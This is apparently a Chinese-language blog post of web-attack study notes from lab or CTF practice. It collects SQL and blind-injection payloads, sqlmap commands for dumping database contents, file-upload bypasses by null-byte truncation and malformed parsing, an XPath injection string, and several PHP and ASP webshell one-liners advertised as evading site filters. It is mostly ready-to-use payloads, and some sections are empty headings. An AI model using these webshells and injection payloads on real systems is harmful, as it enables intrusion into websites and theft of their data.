标签:null target web 取数据 解析 查看 strong 成功 creat
首先判断该注入点是怎么闭合的,常用的是‘,‘),‘)),",再利用and 1=2,and 1=1判断闭合是否正确
sql注入常用语句:
普通语句:schema_name——数据库名;table_name——表名;column_name——字段名;
查询数据库:select schema_name from information_schema.schemata--+
查询数据库表:select table_name from information_schema.tables where table_schema=‘数据库名‘--+
查询字段名:select column_name from infromation_columns where table_name=‘表名‘--+
查询字段内容:select * from 表名--+
盲注语句:
先介绍几个常用的函数:
left(a,b)-----查询a中数据,返回b个字符
substr(s,n,len)------从字符串s中返回一个长度同len字符相同的字符串,起始于位置n,另外要注意的是,该函数起始位置是1,不是0
CAST函数:语法规则是:Cast(字段名 as 转换的类型 ),进行数据类型转换
limit a,b--------a决定返回第几行的数据,而b决定返回几行数据
ORD() 函数:ORD() 函数返回字符串第一个字符的
IFNULL
函数是MySQL控制流函数之一,它接受两个参数,如果不是NULL
,则返回第一个参数。 否则,IFNULL
函数返回第二个参数。接下来就是盲注常用的语句了:
查看数据库名字长度:id=1‘ and length(database())=8 %23
猜解数据库名字:id=1‘ and left(database(),1)>‘r‘ %23
不断地将1增加,猜出其余的字符,这里的大于号可以换成等于号(假如你能猜到数据库的名字大致是哪几个,可以直接换成=)
猜解数据库表:id=1‘ and ascii(substr((select table_name from information_schema.tables where table_schema=‘security‘ limit 0,1),1,1))>80 %23 不断地将1增加,猜出其余的字符
猜解列名:id=1‘ and 1=(select 1 from information_schema.columns where table_name=‘emails‘ and column_name regexp ‘^email_id‘ limit 0,1)--+ 可将红色部分替换[a-z],确定列名
猜解字段中的内容:id=1‘ and ord(mid((select ifnull(cast(username as char),0x20)from security.users order by id limit 0,1),1,1))=68 --+
sql注入工具——sqlmap
经常使用的语句:
sqlmap.py -u "http://127.0.0.1/upload.php?id=1" --current-db #获取当前数据库名称
sqlmap.py -u "http://127.0.0.1/upload.php?id=1" --tables -D "db_name" #列表名
sqlmap.py -u "http://127.0.0.1/upload.php?id=1" --columns -T "tablename" users-D "db_name" -v 0 #列字段
sqlmap.py -u "http://127.0.0.1/upload.php?id=1" --dump -C "column_name" -T "table_name" -D "db_name" -v 0 #获取字段内容
sqlmap.py -u "http://127.0.0.1/upload.php?id=1" --dump -C "column_name" --dump -T "表名" #获取字段内容
下面是我做题的一些过程:
文件上传:
抓包->修改文件后缀名。如果这种方法不可用:制作图片木马->上传->抓包->修改文件后缀名
上述不行:修改文件后缀名,如果服务器是Linux可以尝试在文件名后面再加一个“.abc”:apache是从右往左识别文件名的,如果“.abc”识别不出来就会往左识别;也可以修改文件名的大小写,或者直接.php2
文件上传的绕过:https://blog.csdn.net/c465869935/article/details/51800354
Iis解析漏洞:目录解析漏洞,在以.asp结尾的目录下的文件都会被当作asp文件来执行 文件名解析漏洞:从左向右解析
IIS7.0,7.5和Nginx<8.03畸形解析漏洞(写webshell漏洞)
原理:在上传文件所在目录下创建一个一句话木马文件
实现过程:新建一个1.txt文件,内容为<?php fputs(fopen(‘shell.php‘,‘w‘),‘<?php @eval($_POST[test])?>‘)?>,将文件保存成1.jpg格式,上传到服务器,假设上传路径为/upload,
上传成功后,直接访问/upload/1.jpg,此时神奇的畸形解析开始发挥作用啦,我们会神奇的发现/upload目录下创建了一个一句话木马文件shell.php
空字节代码绕过漏洞,也叫神奇的00截断,此处的00指的是16进制的00
文件名00截断:直接上实现过程
1)第一种方法:上传文件名为1.php.jpg格式的图马文件,抓包后,在php后面加上一个空格字符,然后到hex中将php后面的空格字符对应的20改为00后放行即可。
2)第二种方法:上传文件名为1.php%00.jpg格式的图马文件,抓包后,将%00进行url解码后放行即可。
请求包中包含上传目录的,可以尝试对上传目录进行00截断,原理都一样,话不多说,直接上实现过程
实现过程:上传路径/upload/,直接改成/upload/%00,再将%00进行url解码后放行即可
SQL注入实战-MySQL
注入点用base64编码的:用插件tamper
获取数据表:
获取字段名:
获取字段内容:
WordPress插件漏洞分析溯源
Wpscan:专门扫描wordpress一种扫描器,可以扫描插件漏洞,主题漏洞。根据这些漏洞找到攻击点:找到一个漏洞时,打开链接,根据链接的内容,对网站进行攻击(主要是通过注入找到后台用户名以及登录密码)
Asp一句话防过滤:
2. <%executerequest("YouPass")%>
3. <%execute(request("YouPass"))%>免杀大部分网站的一句话
4.<% set ms = server.CreateObject("MSScriptControl.ScriptControl.1") ms.Language="VBScript" ms.AddObject "Response", Response ms.AddObject "request", request ms.ExecuteStatement("ev"&"al(request(""YouPass""))") %>绕过部分网站过滤<%,%>的一句话
5.<script language=VBScript runat=server>execute request("YouPass")</script>绕过部分网站过滤双引号的一句话
6.<%eval request(YouPass(35))%>php一句话
Access防注入系统:
在id=1后面添加sql语句,根据页面返回的结果,进行注入。
id=1 and 1=<%eval request(‘aaa‘)%>,发现页面只返回了and1=,将一句话进行编码,然后提交,返回一句话,但是查看sqlin.asp页面时发现被过滤了,被过滤了,网上找了几个放过滤的一句话
经过尝试第三个可以绕过过滤,再次查看sqlin.asp页面,显示成功插入。
接下来链接菜刀,拿到key
Xpath注入:
http://219.153.49.228:49950/demo.php?name=xml‘]|//*|//*[‘ --+
‘] 为闭合前面的节点
| 为分别执行,符号前后的路径都要查询
//* 为匹配所有节点
//*[‘ 为匹配后面的内容
X-Forwarded-For注入漏洞实战:
正常的注入无法注入
抓包【这里是将sqlmap和burpsuite结合起来注入,将包中的文件保存到本地,然后利用sqlmap:sqlmap.py -r file.txt --dbs进行注入】
手动加上X-Forwarded-For |
将包中的数据复制粘贴保存到本地,将sqlmap和burpsuite结合起来使用
利用sqlmap进行注入:
标签:null target web 取数据 解析 查看 strong 成功 creat
原文地址:https://www.cnblogs.com/xiaoqiyue/p/9026859.html